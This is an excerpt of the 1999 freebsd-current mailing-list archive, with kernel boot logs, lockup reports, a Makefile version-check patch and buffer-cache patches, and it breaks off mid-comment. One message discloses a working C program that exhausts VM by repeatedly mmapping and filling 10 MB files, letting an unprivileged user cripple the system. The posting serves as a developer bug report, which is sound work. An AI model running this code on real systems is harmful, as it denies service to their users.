Enabled da0: 4340MB (8888924 512 byte sectors: 255H 63S/T 553C) da1 at ahc0 bus 0 target 1 lun 0 da1: Fixed Direct Access SCSI-2 device da1: 80.000MB/s transfers (40.000MHz, offset 15, 16bit), Tagged Queueing Enabled da1: 4340MB (8888924 512 byte sectors: 255H 63S/T 553C) cd0 at ahc0 bus 0 target 4 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 20.000MB/s transfers (20.000MHz, offset 16) cd0: Attempt to query device size failed: NOT READY, Medium not present cd1 at ahc0 bus 0 target 5 lun 0 cd1: Removable CD-ROM SCSI-2 device cd1: 8.333MB/s transfers (8.333MHz, offset 31) cd1: cd present [140956 x 2048 byte records] link_elf: symbol curproc undefined To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 0: 8: 8 1999 Delivered-To: freebsd-current@freebsd.org Received: from ipt2.iptelecom.net.ua (ipt2.iptelecom.net.ua [212.42.68.2]) by hub.freebsd.org (Postfix) with ESMTP id 4DEA814CB8 for ; Fri, 29 Oct 1999 00:07:52 -0700 (PDT) (envelope-from sobomax@altavista.net) Received: from vega.vega.com (dialup3-39.iptelecom.net.ua [212.42.74.167]) by ipt2.iptelecom.net.ua (8.9.3/8.9.3) with ESMTP id KAA14685; Fri, 29 Oct 1999 10:10:23 +0300 (EEST) Received: from altavista.net (big_brother.vega.com [192.168.1.1]) by vega.vega.com (8.9.3/8.9.3) with ESMTP id KAA58102; Fri, 29 Oct 1999 10:07:15 +0300 (EEST) (envelope-from sobomax@altavista.net) Message-ID: <381947A2.6753C4C7@altavista.net> Date: Fri, 29 Oct 1999 10:07:14 +0300 From: Maxim Sobolev Reply-To: sobomax@altavista.net Organization: Vega International Capital X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: John Polstra Cc: current@freebsd.org Subject: Re: ld-elf.so.1 (or VM?) weirdness References: <3818467A.EA4DB1DE@altavista.net> <199910281656.JAA04489@vashon.polstra.com> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Polstra wrote: > In article <3818467A.EA4DB1DE@altavista.net>, > Maxim Sobolev wrote: > > > For a quite long time I searched for the way to reproduce this bug, > > and it seems that I've finally found how to do it. In most cases > > attempt to make any port on a freshly booted system stops with: > > > > /usr/libexec/ld-elf.so.1: /usr/bin/awk: Shared object has no run-time symbol > > table > > > > but when I'm trying to run make again with the same port it works > > flawlessly. > > I haven't heard any other reports of this. I'm almost certain it is > caused by something outside the dynamic linker -- probably a kernel > bug. The debugging output you included shows evidence that the > dynamic linker is seeing garbage when it mmaps your executable. The > fact that it works OK after the first attempt also points to the VM > system as the culprit. The dynamic linker hasn't changed much > recently, but the kernel has changed a lot. Ok, but why it affects only linker and what in your opinion best course of actions would be to reveal reason of this misbehaviour? -Maxim -- "We believe in the Power and the Might!" (Manowar, 1996) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 3:19:38 1999 Delivered-To: freebsd-current@freebsd.org Received: from ipt2.iptelecom.net.ua (ipt2.iptelecom.net.ua [212.42.68.2]) by hub.freebsd.org (Postfix) with ESMTP id CD50E15657 for ; Fri, 29 Oct 1999 03:19:28 -0700 (PDT) (envelope-from sobomax@altavista.net) Received: from vega.vega.com (dialup3-26.iptelecom.net.ua [212.42.74.154]) by ipt2.iptelecom.net.ua (8.9.3/8.9.3) with ESMTP id NAA10057 for ; Fri, 29 Oct 1999 13:22:01 +0300 (EEST) Received: from altavista.net (big_brother.vega.com [192.168.1.1]) by vega.vega.com (8.9.3/8.9.3) with ESMTP id NAA58700 for ; Fri, 29 Oct 1999 13:18:53 +0300 (EEST) (envelope-from sobomax@altavista.net) Message-ID: <3819748D.46722BF6@altavista.net> Date: Fri, 29 Oct 1999 13:18:53 +0300 From: Maxim Sobolev Reply-To: sobomax@altavista.net Organization: Vega International Capital X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: current@freebsd.org Subject: VM DOS attack Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi there, Probably it is already known problem, but it seems that any unprivileged malicious user with 15-20 MB disk quota can bring either 3-STABLE or 4-CURRENT system to its knees using relatively simple program. #include #include #include #include #include main() { int fd; int i; int len=1024*1024*10; /*ie 10Mbytes*/ caddr_t addr; char ttt[80]; for (i=0;;i++) { sprintf (ttt,"%d",i); fd=open(ttt,O_CREAT|O_RDWR,0666); if (fd<0) { printf("open error %ld\n",errno); exit(1); } lseek(fd,len-1,SEEK_SET); write(fd,"",1); addr=mmap(0,len,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0); if (addr==MAP_FAILED) { printf("mmap error %ld",errno); exit(1); } close(fd); memset(addr,'x',len); } } -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 3:57:18 1999 Delivered-To: freebsd-current@freebsd.org Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1]) by hub.freebsd.org (Postfix) with ESMTP id 5548515559 for ; Fri, 29 Oct 1999 03:57:12 -0700 (PDT) (envelope-from rb@gid.co.uk) Received: from grimbling ([89.10.0.25]) by isbalham.ist.co.uk (8.9.2/8.8.7) with SMTP id LAA37833 for ; Fri, 29 Oct 1999 11:57:10 +0100 (BST) (envelope-from rb@gid.co.uk) Message-Id: <3.0.6.32.19991029115708.0079b380@192.168.255.1> X-Sender: rbmail@192.168.255.1 X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Fri, 29 Oct 1999 11:57:08 +0100 To: current@freebsd.org From: Bob Bishop Subject: Current kernel locks up during boot Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, -current kernels from the past 48hrs or so lock up during boot on my SMP box, as in: Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-CURRENT #50: Tue Oct 26 13:53:14 BST 1999 rb@bludnok:/source/cleansrc/sys/compile/BLUDNOK_MP Timecounter "i8254" frequency 1193182 Hz CPU: Pentium II/Xeon/Celeron (349.07-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x651 Stepping = 1 Features=0x183fbff real memory = 134152192 (131008K bytes) avail memory = 126148608 (123192K bytes) Programming 24 pins in IOAPIC #0 FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 0, version: 0x00040011, at 0xfee00000 cpu1 (AP): apic id: 1, version: 0x00040011, at 0xfee00000 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec00000 Preloaded elf kernel "kernel.old" at 0xc03cb000. Pentium Pro MTRR support enabled npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 isab0: at device 7.0 on pci0 isa0: on isab0 ide_pci0: at device 7.1 on pci0 chip1: irq 11 at device 7.2 on pci0 Timecounter "PIIX" frequency 3579545 Hz chip2: at device 7.3 on pci0 ahc0: irq 16 at device 8.0 on pci0 ahc0: aic7880 Single Channel A, SCSI Id=7, 16/255 SCBs vga-pci0: irq 19 at device 11.0 on pci0 fdc0: at port 0x3f0-0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 wdc0 at port 0x1f0-0x1f7 irq 14 on isa0 wdc0: unit 0 (wd0): wd0: 1222MB (2503872 sectors), 2484 cyls, 16 heads, 63 S/T, 512 B/S atkbdc0: at port 0x60-0x6f on isa0 atkbd0: irq 1 on atkbdc0 vga0: at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A sio2: not probed (disabled) sio3: not probed (disabled) ppc0 at port 0x378-0x37f irq 7 flags 0x40 on isa0 ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode plip0: on ppbus 0 lpt0: on ppbus 0 lpt0: Interrupt-driven port ppi0: on ppbus 0 ...and there it freezes. Total lockup, reset button or power cycle only. Apparently it's barfing either on one of the PCI netcard probes, or trying to initialise ed0 which on an older kernel probes as: ed0 at port 0x300-0x31f iomem 0xd8000 irq 10 on isa0 ed0: address 00:20:18:72:97:67, type NE2000 (16 bit) Any ideas? -- Bob Bishop +44 118 977 4017 rb@gid.co.uk fax +44 118 989 4254 (0800-1800 UK) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 4:16:47 1999 Delivered-To: freebsd-current@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id 5C45B14D7F for ; Fri, 29 Oct 1999 04:16:44 -0700 (PDT) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id NAA16598; Fri, 29 Oct 1999 13:16:39 +0200 (CEST) (envelope-from sos) From: Soren Schmidt Message-Id: <199910291116.NAA16598@freebsd.dk> Subject: Re: Current kernel locks up during boot In-Reply-To: <3.0.6.32.19991029115708.0079b380@192.168.255.1> from Bob Bishop at "Oct 29, 1999 11:57:08 am" To: rb@gid.co.uk (Bob Bishop) Date: Fri, 29 Oct 1999 13:16:38 +0200 (CEST) Cc: current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems Bob Bishop wrote: > Hi, > > -current kernels from the past 48hrs or so lock up during boot on my SMP > box, as in: > > ...and there it freezes. Total lockup, reset button or power cycle only. > Apparently it's barfing either on one of the PCI netcard probes, or trying > to initialise ed0 which on an older kernel probes as: > > ed0 at port 0x300-0x31f iomem 0xd8000 irq 10 on isa0 > ed0: address 00:20:18:72:97:67, type NE2000 (16 bit) > > Any ideas? Well it happens on single CPU machines as well, I think the ed driver is borked in current. There is also a new problem with some newbus realloc failure that made me loose my box just a few hours ago, I'll look into it when I get to the console... -Soren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 4:47:27 1999 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 4B79114C05; Fri, 29 Oct 1999 04:47:19 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) with ESMTP id FAA13864; Fri, 29 Oct 1999 05:10:07 -0700 (PDT) Date: Fri, 29 Oct 1999 05:10:07 -0700 (PDT) From: Alfred Perlstein To: current@freebsd.org Cc: grog@freebsd.org Subject: (vinum?) lockups in strategy routines? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Anyone running -current as of Oct 28, 1999 getting lockups in device strategy routines? I thought I'd be able to get a dump but it didn't work. Specifically I'm running vinum in striping mode and the new ata-drivers. 10 Aug 1999 14:27:51.389915 stripe /dev/da0e /dev/da1e A kernel from Wed Oct 6 seems fine (able to buildworld). grog? :) I hope to get a crashdump soon, is there anything i can do help debug this in the meanwhile? Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-CURRENT #4: Wed Oct 27 06:56:03 PDT 1999 bright@thumper:/home/src/sys/compile/thumper Timecounter "i8254" frequency 1193182 Hz CPU: Pentium II/Xeon/Celeron (400.91-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x652 Stepping = 2 Features=0x183fbff real memory = 536858624 (524276K bytes) config> irq pcm0 5 avail memory = 517173248 (505052K bytes) Programming 24 pins in IOAPIC #0 FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 1, version: 0x00040011, at 0xfee00000 cpu1 (AP): apic id: 0, version: 0x00040011, at 0xfee00000 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec00000 Preloaded elf kernel "kernel" at 0xc0355000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc035509c. Pentium Pro MTRR support enabled npx0: on motherboard npx0: INT 16 interface apm0: on motherboard apm: found APM BIOS v1.2, connected at v1.2 pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 vga-pci0: irq 16 at device 0.0 on pci1 isab0: at device 4.0 on pci0 isa0: on isab0 ata-pci0: at device 4.1 on pci0 ata-pci0: Busmastering DMA supported ata0 at 0x01f0 irq 14 on ata-pci0 chip1: irq 19 at device 4.2 on pci0 Timecounter "PIIX" frequency 3579545 Hz chip2: at device 4.3 on pci0 ahc0: irq 19 at device 6.0 on pci0 ahc0: aic7890/91 Wide Channel A, SCSI Id=7, 16/255 SCBs bktr0: irq 17 at device 11.0 on pci0 iicbb0: on bti2c0 iicbus0: on iicbb0 master-only iicsmb0: on iicbus0 smbus0: on iicsmb0 smb0: on smbus0 iic0: on iicbus0 smbus1: on bti2c0 smb1: on smbus1 bktr0: Hauppauge Model 62471 A2 Hauppauge WinCast/TV, Philips FR1236 NTSC FM tuner, dbx stereo. pci0: unknown card (vendor=0x109e, dev=0x0878) at 11.1 irq 17 fxp0: irq 16 at device 12.0 on pci0 fxp0: Ethernet address 00:90:27:3c:77:aa fdc0: at port 0x3f0-0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 pcm0: at port 0x220-0x22f irq 5 drq 3 flags 0x15 on isa0 ppc0 at port 0x378-0x37f irq 7 on isa0 ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/9 bytes threshold lpt0: on ppbus 0 lpt0: Interrupt-driven port ppi0: on ppbus 0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> atkbdc0: at port 0x60-0x6f on isa0 atkbd0: irq 1 on atkbdc0 vga0: at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0 sio0 at port 0x3f8-0x3ff irq 4 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A SMP: AP CPU #1 Launched! ad0: ATA-3 disk at ata0 as master ad0: 2442MB (5001696 sectors), 4962 cyls, 16 heads, 63 S/T, 512 B/S ad0: 16 secs/int, 0 depth queue, DMA Creating DISK ad0 Creating DISK wd0 Waiting 6 seconds for SCSI devices to settle Creating DISK da0 Creating DISK da1 Creating DISK cd0 Creating DISK cd1 changing root device to wd0s1a da0 at ahc0 bus 0 target 2 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabled da0: 8709MB (17836668 512 byte sectors: 255H 63S/T 1110C) da1 at ahc0 bus 0 target 4 lun 0 da1: Fixed Direct Access SCSI-2 device da1: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabled da1: 8709MB (17836668 512 byte sectors: 255H 63S/T 1110C) WARNING: / was not properly dismounted vinum: loaded vinum: reading configuration from /dev/da0s1e vinum: updating configuration from /dev/da1s1e cd0 at ahc0 bus 0 target 0 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 10.000MB/s transfers (10.000MHz, offset 16) cd0: cd present [213264 x 2048 byte records] cd1 at ahc0 bus 0 target 3 lun 0 cd1: Removable CD-ROM SCSI-2 device cd1: 8.333MB/s transfers (8.333MHz, offset 31) cd1: Attempt to query device size failed: NOT READY, Medium not present - tray closed kernel config: # Thumper machine "i386" cpu "I686_CPU" ident "thumper" maxusers 256 # Create a SMP capable kernel (mandatory options): options SMP # Symmetric MultiProcessor Kernel options APIC_IO # Symmetric (APIC) I/O options NCPU=4 # number of CPUs options NBUS=5 # number of busses options NAPIC=2 # number of IO APICs options NINTR=25 # number of INTs options INVARIANTS options INCLUDE_CONFIG_FILE # Include this file in kernel #CPU/Machine Options options USER_LDT #allow user-level control of i386 ldt options KTRACE #kernel tracing options PERFMON options DDB options BREAK_TO_DEBUGGER #a BREAK on a comconsole goes to options P1003_1B options _KPOSIX_PRIORITY_SCHEDULING options _KPOSIX_VERSION=199309L #File systems options FDESC #File descriptor filesystem options KERNFS #Kernel filesystem options UMAPFS #UID map filesystem options NULLFS #NULL filesystem options MFS #Memory File System options INET #InterNETworking options FFS #Berkeley Fast Filesystem options SOFTUPDATES options NFS #Network Filesystem options MSDOSFS #MSDOS Filesystem options CD9660 #ISO 9660 Filesystem options FFS_ROOT #FFS usable as root device [keep this!] options PROCFS #Process filesystem options COMPAT_43 #Compatible with BSD 4.3 [KEEP THIS!] options SCSI_DELAY=6000 #Be pessimistic about Joe SCSI device options UCONSOLE #Allow users to grab the console #options FAILSAFE #Be conservative options USERCONFIG #boot -c editor options VISUAL_USERCONFIG #visual boot -c editor options KTRACE #kernel tracing options SYSVSHM options SYSVSEM options SYSVMSG options MAXDSIZ=(256*1024*1024) options DFLDSIZ=(256*1024*1024) options ICMP_BANDLIM #config kernel root on wd0 #Devices controller isa0 controller eisa0 controller pci0 controller fdc0 at isa? port "IO_FD1" irq 6 drq 2 disk fd0 at fdc0 drive 0 disk fd1 at fdc0 drive 1 #tape ft0 at fdc0 drive 2 #IDE controller ata0 device atadisk0 # ATA disk drives device atapicd0 # ATAPI CDROM drives device atapifd0 # ATAPI floppy drives device atapist0 # ATAPI tape drives #SCSI controller scbus0 controller ahc0 device da0 device sa0 #SCSI tapes device cd0 #SCSI CD-ROMs device pass0 #Sound/PnP controller pnp0 device pcm0 at isa? port 0x220 irq 10 drq 3 flags 0x15 #Parrallel Port controller ppbus0 controller vpo0 at ppbus? device lpt0 at ppbus? device ppi0 at ppbus? controller ppc0 at isa? port ? irq 7 # syscons is the default console driver, resembling an SCO console device sc0 at isa? options SC_HISTORY_SIZE=200 # number of history buffer lines options SC_DISABLE_REBOOT # disable reboot key sequence # The keyboard controller; it controlls the keyboard and the PS/2 mouse. controller atkbdc0 at isa? port IO_KBD # The AT keyboard device atkbd0 at atkbdc? irq 1 # PS/2 mouse device psm0 at atkbdc? irq 12 # The video card driver. device vga0 at isa? port ? conflicts # Splash screen at start up! Screen savers require this too. pseudo-device splash device npx0 at nexus? port "IO_NPX" irq 13 # Laptop support (see LINT for more options) device apm0 at nexus? flags 0x31 # Advanced Power Management device sio0 at isa? port "IO_COM1" irq 4 device sio1 at isa? port "IO_COM2" irq 3 controller smbus0 device smb0 at smbus? controller iicbus0 controller iicbb0 device ic0 at iicbus? device iic0 at iicbus? device iicsmb0 at iicbus? device bktr0 device ed0 at pci? pseudo-device vn 4 pseudo-device loop pseudo-device ether pseudo-device sl 1 pseudo-device ppp 1 pseudo-device tun 1 pseudo-device pty 256 pseudo-device bpf 4 pseudo-device snp 4 pseudo-device gzip # Exec gzipped a.out's device fxp0 options INVARIANT_SUPPORT To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 5:31:45 1999 Delivered-To: freebsd-current@freebsd.org Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226]) by hub.freebsd.org (Postfix) with ESMTP id 56DBC14C4C for ; Fri, 29 Oct 1999 05:31:18 -0700 (PDT) (envelope-from michaelc@tmbbwmc.bbn.hp.com) Received: from tmbbmcc3.bbn.hp.com (root@tmbbmcc3.bbn.hp.com [15.136.126.78]) by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id FAA09847 for ; Fri, 29 Oct 1999 05:31:03 -0700 (PDT) Received: from tmbbwmc.bbn.hp.com (michaelc@tmbbwmc.bbn.hp.com [15.136.124.25]) by tmbbmcc3.bbn.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.7.1) id OAA28974 for ; Fri, 29 Oct 1999 14:28:30 +0200 (METDST) Received: from localhost (michaelc@localhost) by tmbbwmc.bbn.hp.com (8.8.6/8.8.6) with ESMTP id OAA07940 for ; Fri, 29 Oct 1999 14:30:53 +0200 (METDST) Date: Fri, 29 Oct 1999 14:30:52 +0200 (METDST) From: #Michael Class To: current@FreeBSD.ORG Subject: Re: (vinum?) lockups in strategy routines? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, just another datapoint. I just installed two new IBM DPTA-343740 discs into my System at home. They are configured with striping in vinum. Within a day I got two solid lockups with the new ata-drivers. After that I switchied to the old wd-driver. Everythings works fine since then. I do not have the exact configuration here. The system is at home and I am here at my workplace. The General setup is as follows: Gigabyte 6BXDS-MoBo with 2x350Mhz PII, 256MB-Ram, 2 SCSI-Disks, 2 DPTA 343740, each as master on a seperate (internal) IDE bus. No other IDE/ATAPI devices. Everything is on 4.0-current of (around) Oct. 22th. (Btw. I had to set the jumper that clips the disk-size to below 32GB on these drives to make the Gigabyte Mobo recognize them). If someone is interessted in more details, I will be able to send them when I am at home. Michael On Fri, 29 Oct 1999, Alfred Perlstein wrote: > > Anyone running -current as of Oct 28, 1999 getting lockups in > device strategy routines? > > I thought I'd be able to get a dump but it didn't work. > > Specifically I'm running vinum in striping mode and the new ata-drivers. > > 10 Aug 1999 14:27:51.389915 stripe /dev/da0e /dev/da1e > > A kernel from Wed Oct 6 seems fine (able to buildworld). ___________________________________________________________________________ Michael Class E-Mail: michael_class@hp.com E-Business Solution Division Phone: +49 7031 14-3707 Fax: +49 7031 14-4505 ___________________________________________________________________________ Hewlett-Packard GmbH, PO Box 1430, Mailstop SERC2, 71004 Boeblingen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 5:46:40 1999 Delivered-To: freebsd-current@freebsd.org Received: from pawn.primelocation.net (pawn.primelocation.net [205.161.238.235]) by hub.freebsd.org (Postfix) with ESMTP id E290314C30 for ; Fri, 29 Oct 1999 05:46:36 -0700 (PDT) (envelope-from jedgar@fxp.org) Received: from earth.fxp (oca-p2-103.hitter.net [207.192.76.103]) by pawn.primelocation.net (Postfix) with ESMTP id 225E09B22; Fri, 29 Oct 1999 08:46:30 -0400 (EDT) Date: Fri, 29 Oct 1999 08:46:29 -0400 (EDT) From: "Chris D. Faulhaber" X-Sender: jedgar@earth.fxp To: Marcel Moolenaar Cc: current@FreeBSD.org Subject: Re: make buildworld problem... In-Reply-To: <381802EA.ABA2457E@scc.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 28 Oct 1999, Marcel Moolenaar wrote: > Peter Jeremy wrote: > > > > >(/me wonders how many MORE times we are going to have to say this because > > >of the signal changes...) > > > > A very large number I suspect. > > > > IMHO, the correct solution is to for the entire make world process to > > be re-worked. > > That's what I'm currently doing. If I have a stripped down make process > ready for public viewing, I'll let you all know. A thread on the subject > can be found in the -arch archives. > As an interim hack, would the following patch, which verifies kern.osreldate >= 400011, suffice? Index: Makefile.inc0 =================================================================== RCS file: /home/ncvs/src/Makefile.inc0,v retrieving revision 1.18 diff -u -r1.18 Makefile.inc0 --- Makefile.inc0 1999/08/28 01:35:58 1.18 +++ Makefile.inc0 1999/10/29 12:41:18 @@ -15,6 +15,11 @@ MAKEOBJDIRPREFIX?=/usr/obj # +# Check kern.osreldate to ensure kernel will support building world +# +OSRELDATE= `/sbin/sysctl -a | grep osreldate | awk '{ print $$2; }'` + +# # Variables passed to make work better if they are set as environment # variables instead of command line options. # @@ -106,6 +111,13 @@ # support if the current object format is elf on i386. # buildworld : + @if [ ${OSRELDATE} -lt "400011" ]; then \ + echo; \ + echo "The current kernel does not support building world. Please read"; \ + echo "the 19990929 entry in ${.CURDIR}/UPDATING for more information."; \ + echo; \ + exit 1; \ + fi @cd ${.CURDIR}; ${MK_ENV} ${MAKE} buildworld .if ${MACHINE_ARCH} == "i386" && ${OBJFORMAT} == "elf" && defined(WANT_AOUT) @cd ${.CURDIR}; ${LEGACY_ENV} ${XMAKE} legacy-build To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 5:51:14 1999 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id DD24314C30 for ; Fri, 29 Oct 1999 05:51:04 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from p54-ts5.syd2.zeta.org.au (beefcake.zeta.org.au [203.26.10.12]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id WAA28781; Fri, 29 Oct 1999 22:55:33 +1000 Date: Fri, 29 Oct 1999 22:50:58 +1000 (EST) From: Bruce Evans X-Sender: bde@alphplex.bde.org To: peter.jeremy@alcatel.com.au Cc: freebsd-current@FreeBSD.ORG Subject: Re: Deadlock in nbufkv In-Reply-To: <99Oct25.071534est.40323@border.alcanet.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 25 Oct 1999, Peter Jeremy wrote: > I've recently upgraded a system from 3.2-RELEASE to -CURRENT as of > 30-Sept (just before the signal changes). I now find that when > I try to do a CVS checkout, the system hangs, with cvs in `nbufkv'. > > The CVSROOT is on a filesystem with standard 8K/1K blocks. The > target FS is 32k/4k. Both FS are running softupdates. This worked > without problem under 3.2. The kernel config files are basically Filesystems with a block size > BKVASIZE can cause fragmentation of buffer virtual memory, so that there is no space for large buffers allthough there is plently of space for small buffers. 3.x handles the fragmentation more aggressively by discarding lots of potentially useful buffers. -current sometimes waits for fragmentation to be reduced instead, but sometimes seems to deadlock. I think it doesn't always deadlock; it just makes very slow progress. Matt's recent `kvawakeup' changes in vfs_bio.c may have fixed this. Filesystems with different block sizes also cause pessimal behaviour for reallocating buffer virtual memory. Allocation time scales with O(nbuf^2) or worse. For nbuf = 10000, I've observed the allocation time reducing the maximum transfer speed to 4MB/sec on a system that can copy buffers at 300MB/sec. Fragmentation of buffer virtual memory is easy to avoid except on systems with lots of memory (more than about 1GB) by setting BKVASIZE large: diff -c2 kern/vfs_bio.c~ kern/vfs_bio.c *** kern/vfs_bio.c~ Thu Oct 28 19:54:40 1999 --- kern/vfs_bio.c Thu Oct 28 20:17:49 1999 *************** *** 329,332 **** --- 369,373 ---- /* + * XXX out of date: * maxbufspace is currently calculated to be maximally efficient * when the filesystem block size is DFLTBSIZE or DFLTBSIZE*2 *************** *** 341,346 **** * buffer cache operation. */ ! maxbufspace = (nbuf + 8) * DFLTBSIZE; hibufspace = imax(3 * maxbufspace / 4, maxbufspace - MAXBSIZE * 5); /* * Limit the amount of malloc memory since it is wired permanently into --- 382,392 ---- * buffer cache operation. */ ! #if BKVASIZE >= MAXBSIZE ! maxbufspace = nbuf * BKVASIZE; ! #else ! maxbufspace = (nbuf + 8) * BKVASIZE / 2; ! #endif hibufspace = imax(3 * maxbufspace / 4, maxbufspace - MAXBSIZE * 5); + /* * Limit the amount of malloc memory since it is wired permanently into diff -c2 sys/param.h~ sys/param.h *** sys/param.h~ Thu Sep 30 07:04:18 1999 --- sys/param.h Thu Sep 30 07:04:20 1999 *************** *** 147,166 **** /* ! * File system parameters and macros. * ! * The file system is made out of blocks of at most MAXBSIZE units, with ! * smaller units (fragments) only in the last direct block. MAXBSIZE ! * primarily determines the size of buffers in the buffer pool. It may be ! * made larger without any effect on existing file systems; however making ! * it smaller make make some file systems unmountable. Also, MAXBSIZE ! * must be less than MAXPHYS!!! DFLTBSIZE is the average amount of ! * memory allocated by vfs_bio per nbuf. BKVASIZE is the average amount ! * of kernel virtual space allocated per nbuf. BKVASIZE should be >= ! * DFLTBSIZE. If it is significantly bigger than DFLTBSIZE, then ! * kva fragmentation causes fewer performance problems. */ #define MAXBSIZE 65536 ! #define BKVASIZE 8192 ! #define DFLTBSIZE 4096 #define MAXFRAG 8 --- 143,171 ---- /* ! * MAXBSIZE is the maximum size of buffers in the buffer pool. File systems ! * must not request buffers with a larger size. If their block size is ! * larger, then they must split up their blocks. MAXBSIZE should not be ! * reduced without changing all file systems that depend on it being large. ! * Also, MAXBSIZE must be less than MAXPHYS. * ! * BKVASIZE is the amount of kernel VM allocated per buffer. It should be ! * at least as large as the block size of the most heavily used file system, ! * but no larger than MAXBSIZE. Increasing it towards MAXBSIZE reduces ! * kernel VM fragmentation so it may improve performance, but it may waste ! * kernel VM. */ + #define BKVASIZE 65536 #define MAXBSIZE 65536 ! ! /* ! * File system parameters and macros. ! */ ! ! /* ! * Misplaced file system parameter/macro. XXX. ! * ! * The ufs file system is made out of blocks, with smaller units ! * 